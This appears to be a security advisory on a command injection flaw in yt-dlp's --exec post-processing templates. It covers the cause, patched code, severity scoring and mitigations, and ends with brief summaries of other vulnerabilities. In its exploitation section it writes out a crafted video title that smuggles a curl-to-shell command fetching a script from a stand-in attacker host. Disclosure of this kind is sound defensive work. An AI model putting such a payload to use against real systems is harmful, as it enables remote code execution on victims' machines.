Jun 16, 2026·7 min read·10 visits
Unsafe metadata interpolation in yt-dlp's post-processor allows remote command execution when downloading maliciously crafted media links with custom command execution templates.
An OS command injection vulnerability in yt-dlp before 2026.06.09 allows unauthenticated remote attackers to execute arbitrary shell commands via crafted media metadata when a user processes media using the --exec post-processing parameter with unsafe string interpolation conversions.
The command-line downloader utility yt-dlp contains an OS command injection vulnerability within its post-processing execution pipeline. This vulnerability exists in versions starting from 2021.04.11 and was resolved in version 2026.06.09. The affected component involves the handling of external command templates provided via the --exec argument, which allows users to execute external system processes automatically after downloading media assets.
Under normal operations, users specify command templates that dynamically reference downloaded media metadata such as video titles, descriptions, or file paths. However, prior to version 2026.06.09, yt-dlp did not restrict or validate the use of unsafe string interpolation conversion specifiers within these templates. Consequently, when untrusted metadata supplied by an attacker-controlled remote media server is parsed using an unsafe formatter, arbitrary operating system commands can be injected directly into the executing shell environment.
The exposure is critical for automated systems, media processing pipelines, and end users who run yt-dlp with customized or default --exec command templates. Because the tool supports downloading from hundreds of third-party platforms, an attacker who can manipulate the metadata of a hosted media file can achieve remote command execution on the client host when the client downloads the asset using an insecurely formatted --exec command.
To remediate this issue, maintainers implemented a safe verification interface inside the templating engine. This implementation isolates command execution operations from generic output formatting tasks, enforcing a whitelist of safe format options that prevent string-level shell escape bypasses.
The root cause of this vulnerability lies in the improper neutralization of formatting string structures before they are executed in shell subprocess contexts. The yt-dlp utility uses a custom parsing wrapper around Python's printf-style string formatting mechanism to substitute metadata variables into template strings. In yt-dlp, this substitution is coordinated via the YoutubeDL.prepare_outtmpl method and the ExecPP (Execute Post-Processor) class located in yt_dlp/postprocessor/exec.py.
When executing commands, the method parse_cmd resolves template parameters using the target video's metadata map. In vulnerable versions, the application called prepare_outtmpl without indicating that the resulting string was destined for an interactive shell context. As a result, standard string interpolation conversions such as %()s, %()a, %()r, and %()j were expanded using raw, unescaped string representations directly from the media info dictionary.
Because the final command is passed to a system shell execution helper, such as a subprocess wrapper running with shell parsing enabled, the presence of standard shell metacharacters (including semicolons, ampersands, backticks, or vertical pipes) alters the command stream. The shell interprets these characters as command separators or subprocess execution directives rather than literal text, leading to the execution of arbitrary shell command sequences within the privileges of the running application process.
Analyzing the vulnerable code path inside yt_dlp/postprocessor/exec.py highlights the lack of validation. In pre-patched versions, the class ExecPP handles template substitution via parse_cmd:
# Vulnerable Implementation
def parse_cmd(self, cmd, info):
tmpl, tmpl_dict = self._downloader.prepare_outtmpl(cmd, info)
if tmpl_dict:
# RAW string formatting is applied directly
return self._downloader.escape_outtmpl(tmpl) % tmpl_dict
return cmdIn the patched code, the system introduces context enforcement by adding an explicit boolean parameter _exec to prepare_outtmpl. Additionally, it introduces strict validation during the initialization of the ExecPP instance to ensure that any custom templates do not contain unsafe conversion specifiers:
# Patched Implementation inside YoutubeDL.py
# Only specific conversions (d, i, f, q) are allowed in execution context
SAFE_EXEC_CONVERSIONS = 'difq'
UNSAFE_DEFAULT_CHARS = '"\' \n\t;&|^$%*<>{}()[]`#\\'
# Validation check enforced during preparation:
if _exec:
if fmt[-1] not in SAFE_EXEC_CONVERSIONS:
raise UnsafeExecExpansionError(f'Unsafe conversion(s) in exec command: {outtmpl!r}')
elif any(unsafe_char in default for unsafe_char in UNSAFE_DEFAULT_CHARS):
if default == na:
raise UnsafeExecExpansionError(f'Unsafe placeholder for exec command: {na!r}')
else:
raise UnsafeExecExpansionError(f'Unsafe default(s) in exec command: {outtmpl!r}')This modification ensures that if a user executes --exec with an unsafe converter like %()s, the application immediately raises an UnsafeExecExpansionError and terminates. The only valid string formatting specifier allowed for string values becomes %()q, which guarantees the value is safely wrapped in shell-escaping quotes before concatenation.
The implementation also proactively validates custom command formats when set_downloader is registered in ExecPP. By checking the commands during initialization rather than waiting for processing to occur, the software detects unsafe configurations immediately upon launch, terminating the execution thread before external resources are requested or retrieved from remote host targets.
To exploit this vulnerability, an attacker must first locate or host a media resource on a platform supported by yt-dlp. The attacker manipulates the metadata fields returned by the platform's API—such as the video title, uploader name, or description—to contain shell metacharacters and payload commands. For example, the attacker might change the title of a video to: video; curl http://attacker.local/shell.sh | sh #.
The second prerequisite is that the victim must run yt-dlp using a vulnerable --exec command syntax that relies on raw string interpolation. A typical vulnerable CLI invocation resembles the following command:
yt-dlp "https://example.com/malicious-video" --exec "echo %(title)s"When yt-dlp processes this download, the extractor retrieves the malicious metadata. During the post-processing phase, ExecPP parses the command template. Because %()s is utilized, the application substitutes the raw title directly. The resulting command string generated is echo video; curl http://attacker.local/shell.sh | sh #. When this is passed to the OS shell, the shell executes the echo video command, followed immediately by the injected curl command, which downloads and runs the shell script in the context of the user running yt-dlp.
A mock python unit-test script demonstrates this flow using mocked states to trigger process creation without requesting actual remote assets. The script configures the target dictionary to include semicolons and hashtags, proving that standard subprocess execution commands execute side-channel payloads on disk, confirming arbitrary write capability and file creation.
The security impact of this vulnerability is classified as high. Successful exploitation grants the attacker arbitrary remote command execution on the victim's machine. The executed commands run with the exact privileges of the operating system user executing yt-dlp.
If the tool is executed within an automated containerized environment, an automated media ingestion server, or with administrative privileges, the attacker can leverage the command execution to gain a persistent shell, access internal database credentials, or move laterally within the hosting infrastructure.
The vulnerability has been assigned a CVSS v3.1 base score of 7.5. The score is limited because of high attack complexity, as the exploit requires the victim to specify a command execution template utilizing unsafe conversion characters. However, because configuration files are often shared or stored statically within deployment templates, widespread corporate exposure remains a significant risk if default templates are not updated.
Because the execution is not restricted to local network structures and can be initiated simply by submitting a crafted link to an automated processing microservice, the bug presents a direct threat to back-end media scrapers, archive engines, and metadata crawlers that programmatically handle custom post-processing arguments.
The primary and recommended mitigation is upgrading the yt-dlp package to version 2026.06.09 or later. This version enforces strict template validation and rejects execution configurations that use insecure interpolation converters. If the package is deployed via Python's package manager, execute the following command to update:
pip install --upgrade yt-dlpIf upgrading is not immediately possible in production environments, teams must review and audit all existing scripts, configuration files, and cron jobs. Ensure that any --exec commands utilize shell-quoted string formatting placeholders exclusively. Replace all instances of unsafe converters such as %()s or %()j with the secure shell-quoted converter %()q:
# Secure implementation using the q (quoted) format specifier
yt-dlp "URL" --exec "echo %(title)q"Additionally, administrators must ensure that the legacy compatibility flag --compat-options allow-unsafe-exec-expansion is never supplied to the executable. This flag explicitly disables the security checks introduced in the patch and leaves the system vulnerable to command injection.
Finally, when designing system-level automation scripts, developers should avoid invoking system shells directly. Where possible, process executions should accept explicit argument arrays rather than raw string representations, minimizing exposure to downstream argument manipulation or shell injection techniques.
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
yt-dlp yt-dlp | >= 2021.04.11, < 2026.06.09 | 2026.06.09 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-78 |
| Attack Vector | Network |
| CVSS v3.1 | 7.5 (High) |
| Exploit Status | Proof-of-Concept |
| CISA KEV Status | Not Listed |
| Patched Version | 2026.06.09 |
The application constructs an OS command using externally-influenced input without neutralizing special elements, allowing attackers to execute arbitrary system commands.
An authenticated security-bypass vulnerability in n8n allows users with workflow creation or modification privileges to bypass the Python AST security validator. By circumventing AST validation logic, attackers can execute arbitrary statements, access the task executor's root module namespace, and disclose sensitive host environment variables on self-hosted instances.
An incorrect authorization vulnerability in the Public API of n8n allows authenticated users with read-only permissions to bypass access control boundaries. By invoking the execution retry endpoint, an unauthorized user can trigger workflow executions, effectively escalating their privileges from workflow:read to workflow:execute.
A low-severity Cross-Site Scripting (XSS) vulnerability in Nuxt's globally registered <NoScript> head component allows unauthenticated attackers to execute arbitrary JavaScript. By injecting dynamic, untrusted data into <NoScript> slots, standard Vue HTML escaping is bypassed because the component processes slot text nodes and assigns them directly to the target element's innerHTML property instead of textContent. In modern browsers with scripting enabled, this raw injection can implicitly close the <noscript> tag, triggering script execution.
CVE-2026-49993 identifies an incomplete same-origin check validation mechanism in @nuxt/webpack-builder and @nuxt/rspack-builder dev server middleware. When the local development server is bound to a non-loopback address, cross-origin attackers can bypass verification checks by suppressing browser headers, leading to unauthorized retrieval and exfiltration of compiled source code chunks.
An in-depth technical analysis of multiple security vulnerabilities in the self-hosted Docker API server of Crawl4AI up to version 0.8.7. These flaws include a critical arbitrary file write via symlink traversal and TOCTOU weakness, CRLF log injection, webhook header injection, and SSRF filter gaps. These have been remediated in version 0.8.8.
A technical evaluation of the Crawl4AI open-source web crawling and scraping library revealed a high-severity credential exfiltration vulnerability in its self-hosted Dockerized API server. The flaw arises from an unvalidated base_url parameter in request payloads and a dynamic prefix resolution mechanism that retrieves system environment variables. Unauthenticated remote attackers can leverage these features in tandem to extract host-level secrets or redirect configured LLM API keys to an external listener under their control.